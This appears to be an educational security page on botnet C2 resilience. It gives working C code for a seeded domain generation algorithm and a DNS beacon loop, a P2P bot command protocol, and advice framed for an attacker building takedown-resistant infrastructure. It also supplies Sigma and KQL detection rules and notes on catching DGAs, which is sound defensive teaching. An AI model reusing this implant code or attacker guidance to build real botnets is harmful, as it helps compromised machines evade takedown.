Botnet Architecture and DGA
A botnet is a network of compromised hosts (bots) under centralized or distributed control. The key engineering challenge is resilience: C2 infrastructure must survive domain seizures, IP blacklisting, and infrastructure takedowns while bots continue checking in. Domain Generation Algorithms (DGAs) solve this by producing a deterministic stream of candidate domains — the attacker only needs to register one; all others serve as decoys that waste defender resources. Modern botnets combine DGA fallback with P2P gossip protocols for maximum resilience against takedown.
You are designing a resilient C2 infrastructure for a botnet that must survive active takedown attempts. Your primary HTTPS C2 domains will be sinkholed within 24-48 hours of discovery. You need a fallback mechanism that: (a) pre-generates 1,000 candidate domains per day from a seed only you know, (b) requires an adversary to register all 1,000 to fully sinkhole you, and (c) allows bots to auto-discover new C2 infrastructure without any pre-programmed failover logic beyond the DGA seed.
Botnet Architecture
Domain Generation Algorithm
A DGA is a pseudo-random number generator seeded with a shared secret (known only to the attacker) and a time component (date, week number). Both the attacker and every bot run the same algorithm independently and arrive at the same list of domains. The attacker pre-registers a handful of them; bots cycle through the list until one resolves.
DGA Implementation
// Time-based hash DGA: generates N domains per day from a secret seed + date.
// Both attacker and bot run identical algorithm → same domain list.
// Operator registers 2-3 per day; bots try all N until one resolves.
#include <windows.h>
#include <stdio.h>
// FNV-1a hash for mixing
DWORD Fnv1a(const BYTE* data, SIZE_T len) {
DWORD h = 0x811c9dc5;
for (SIZE_T i = 0; i < len; i++)
{ h ^= data[i]; h *= 0x01000193; }
return h;
}
// Generate domain list for a given date.
// secretSeed: 16-byte key embedded in implant binary (XOR-obfuscated)
// domainsOut: caller-allocated array of char[32] strings
VOID GenerateDomains(const BYTE secretSeed[16],
SYSTEMTIME* date,
char domainsOut[][32],
int count) {
static const char* tlds[] = { ".com", ".net", ".org",
".info", ".biz" };
for (int i = 0; i < count; i++) {
// Mix: seed + date + sequence number
BYTE mix[20];
memcpy(mix, secretSeed, 16);
mix[16] = (BYTE)(date->wYear & 0xFF);
mix[17] = (BYTE)(date->wMonth);
mix[18] = (BYTE)(date->wDay);
mix[19] = (BYTE)i;
DWORD h = Fnv1a(mix, sizeof(mix));
// Build domain name: 8-12 chars of lowercase from hash bytes
int domLen = 8 + (h & 7); // 8-15 chars
char dom[16]; DWORD state = h;
for (int j = 0; j < domLen; j++) {
state = state * 1664525 + 1013904223; // LCG
dom[j] = 'a' + (state >> 27) % 26;
}
dom[domLen] = 0;
const char* tld = tlds[(h >> 8) % 5];
snprintf(domainsOut[i], 32, "%s%s", dom, tld);
}
}
VOID DgaBeaconLoop(const BYTE seed[16]) {
SYSTEMTIME now;
GetSystemTime(&now);
char domains[200][32];
GenerateDomains(seed, &now, domains, 200);
for (int i = 0; i < 200; i++) {
WCHAR wDom[32];
MultiByteToWideChar(CP_ACP, 0, domains[i], -1, wDom, 32);
PDNS_RECORD pRec = NULL;
if (DnsQuery_W(wDom, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE,
NULL, &pRec, NULL) == ERROR_SUCCESS) {
// Domain resolved → connect to this C2
BeaconCheckIn(wDom);
DnsRecordListFree(pRec, DnsFreeRecordList);
break;
}
Sleep(500); // avoid hammering DNS resolver
}
}
P2P Botnet Resilience
// P2P overlay: each bot maintains a peer list (IP:port of other bots).
// Commands are signed with the operator's private key → gossip authenticates.
// A new bot receives a hardcoded seed list of initial peers (bootstrap nodes).
// After joining, it exchanges peer lists via UDP gossip protocol.
// Simplified peer list message:
typedef struct {
DWORD magic; // 0xB077B077 = botnet magic
BYTE version;
BYTE msgType; // 0x01 = peer_list, 0x02 = command
WORD peerCount;
// Followed by peerCount * {DWORD ip, WORD port}
} P2P_MSG_HEADER;
// Bot update flow:
// 1. Connect to peer via UDP
// 2. Send HELLO with my IP:port
// 3. Receive PEER_LIST response
// 4. Try each peer; build local peer table (top 50 by reliability)
// 5. Poll top-5 peers every 60s for COMMAND packets
// 6. Verify command signature: Ed25519(operator_pubkey, command_bytes)
// 7. If valid: execute. Forward to other peers in gossip ring.
Botnet Model Comparison
| Model | Resilience to takedown | Latency | Operator complexity | Detection |
|---|---|---|---|---|
| Centralized C2 | Low — one takedown kills it | Low | Low | Easy (single IP/domain) |
| DGA only | Medium — must sinkhole all N domains/day | Low (after domain found) | Medium (register daily) | ML-based DGA detection |
| P2P only | High — no central server | Medium (gossip delay) | High (bootstrapping) | Flow-level: many UDP connects |
| DGA + P2P | Very high | Low | High | Requires both techniques together |
| CDN-fronted HTTPS | Medium (CDN abuse policies) | Very low | Low | Hard (legitimate CDN IPs) |
Detection Engineering
title: DGA Domain — High NXDomain Rate from Single Host
logsource:
product: zeek
service: dns
detection:
selection:
rcode: 3 # NXDOMAIN
timeframe: 5m
condition: selection | count() by src_ip > 50
level: high
tags: [attack.command_and_control, T1568.002]
title: DGA Domain — Low-TTL Short-Lived Resolution (Fast Flux)
logsource:
product: zeek
service: dns
detection:
selection:
TTL|lt: 300 # TTL < 5 minutes
rcode: 0 # NOERROR
query|re: '^[a-z]{8,15}\.(com|net|org|info|biz)$'
condition: selection
level: medium
-- MDE KQL: DGA detection — high unique domain queries with NXDomain
DeviceNetworkEvents
| where Timestamp > ago(1h)
| where ActionType == "DnsQueryResponse"
or ActionType == "DnsConnectionInspected"
| extend domain = RemoteUrl
| summarize
nxdomain = countif(AdditionalFields has "NXDOMAIN"),
total = count(),
unique_domains = dcount(domain)
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 5m)
| where nxdomain > 30 and (nxdomain * 1.0 / total) > 0.6
| order by nxdomain desc
-- MDE KQL: P2P botnet — many outbound UDP connections to distinct IPs
DeviceNetworkEvents
| where Timestamp > ago(1h)
| where Protocol == "Udp"
| where RemotePort !in (53, 123, 5353) // exclude DNS, NTP, mDNS
| summarize
unique_ips = dcount(RemoteIP),
total_conns = count()
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 10m)
| where unique_ips > 20
| order by unique_ips desc
Q&A
ML-based DGA classifiers analyze domain name entropy, n-gram frequency, and length distributions. What are the limits of these approaches, and how do wordlist-based DGAs (like Suppobox) specifically defeat statistical classifiers?
ML-based DGA classifiers are trained on features that distinguish algorithmically-generated gibberish from human-registered domains: high character entropy (DGA names like xkvzpqmlr.com have near-maximum entropy), unusual n-gram patterns (natural English domains contain common bigrams like "oo", "er", "th"; DGA names do not), atypical lengths (most legitimate domains are 6-15 chars but DGA distributions are concentrated in specific ranges), and lack of pronounceability (human domains tend to be phonetically plausible). Classifiers like DGArchive's model, Bambenek's DGA tracker, and CrowdStrike's Falcon DNS all use these features with high recall on classical arithmetic DGAs.
Wordlist-based DGAs (Suppobox, Matsnu, Nymaim) defeat these classifiers by generating domains from concatenated dictionary words: shinyapple.com, blueocean.net, fastrunner.org. These domains have: normal character entropy (English words have ~4 bits/char, same as legitimate domains), natural n-gram distributions (word constituents match English bigram tables), plausible lengths (two 4-6 letter words = 8-12 chars — indistinguishable from startup domain names), and high pronounceability scores. A classifier trained on character-level features cannot distinguish shinyapple.com (DGA) from freshpaint.io (legitimate startup) because the feature space is shared.
The detection techniques that work against wordlist DGAs: (1) Passive DNS correlation: DGA domains are registered minutes before use; they have zero historical DNS resolution history, no passive DNS history from threat intel feeds, and often very recent domain registration dates. Legitimate startup domains may also be young, but they accumulate resolution history quickly. (2) Registrar/WHOIS velocity: an attacker registering 3 wordlist domains per day from the same registrar account or using common privacy services creates a registration pattern. (3) NXDomain context: even wordlist DGAs generate many NXDomains when probing — detecting that 95 out of 100 queries to two-word English-sounding .com domains returned NXDOMAIN is anomalous regardless of the per-domain entropy score. The key shift: from per-domain feature analysis to per-host behavioral pattern analysis.